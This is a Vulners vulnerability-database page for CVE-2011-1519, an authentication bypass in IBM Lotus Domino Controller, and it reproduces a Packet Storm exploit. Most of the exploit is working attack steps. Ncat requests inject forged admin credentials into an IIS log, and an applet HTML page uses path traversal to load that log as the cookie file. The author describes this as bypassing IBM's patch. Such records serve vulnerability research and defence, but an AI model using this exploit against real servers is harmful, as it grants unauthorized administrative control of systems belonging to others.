Vulners
Lucene search
IBM Lotus Domino Authentication Bypass
🗓️ 30 Nov 2011 00:00:00Reported by Alexey SintsovType 
packetstorm🔗 packetstormsecurity.com👁 60 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | IBM Lotus Domino Server Controller Authentication Bypass Vulnerability | 30 Nov 201100:00 | – | zdt |
 | CVE-2011-1519 | 30 Nov 201100:00 | – | circl |
 | CVE-2011-1519 | 25 Mar 201119:00 | – | cve |
 | CVE-2011-1519 | 25 Mar 201119:00 | – | cvelist |
 | IBM Lotus Domino Server Controller - Authentication Bypass | 30 Nov 201100:00 | – | exploitdb |
 | CVE-2011-1519 | 25 Mar 201119:55 | – | nvd |
 | IBM Lotus Domino Cookie File Authentication Bypass Vulnerability | 9 May 201100:00 | – | openvas |
 | Authentication flaw | 25 Mar 201119:55 | – | prion |
 | IBM Lotus Domino Server Controller Authentication Bypass Vulnerability | 1 Dec 201100:00 | – | seebug |
`# Exploit Title: IBM Lotus Domino Controller auth. bypass
# Date:30/11/2011
# Author: Alexey Sintsov
# Software Link: http://www.ibm.com/
# Version:8.5.3/8.5.2 FP3 (0day)
# Tested on: Windows 7 / Windows 2008
# CVE : CVE-2011-1519
Application: IBM Lotus Domino Controller
Versions Affected: <=8.5.2 FP3, <=8.5.3
Manager 4.0 prior to Update 4
(0day)
Vendor URL: http://ibm.com
Bug: own XML parser
CVE: CVE-2011-1519
CVSS2: 9.0
Exploits: YES
Reported:2010-09-23 via ZDI
Date of Public Advisory: 2011-03-22
Authors: Alexey Sintsov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)
This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug,
but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day.
Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41
EXPLOIT:
1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050
2. Inject XML into IIS log file (for an example)
ncat targethost 49152
GET /<user HTTP/1.0\r\n\r\n
ncat targethost 49152
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n
(\r\n\r\n) ENTER two times 8)
3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet)
<html>
<body>
<script>
function onLoadConsole()
{
alert("Connected");
}
</script>
<applet name = "DominoConsole"
code = "lotus.domino.console.DominoConsoleApplet.class"
codebase = "http://127.0.0.1/domjava/"
archive = "dconsole.jar"
width = "100%"
height = "99%"
>
<PARAM NAME="debug" VALUE="true">
<PARAM NAME="port" VALUE="2050">
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">
<PARAM NAME="username" VALUE="admin">
<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log">
<PARAM NAME="cookievalue" VALUE="pass">
<PARAM NAME="onLoad" VALUE="onLoadConsole">
</applet>
</body>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Nov 2011 00:00Current
1.1Low risk
Vulners AI Score1.1
EPSS0.09065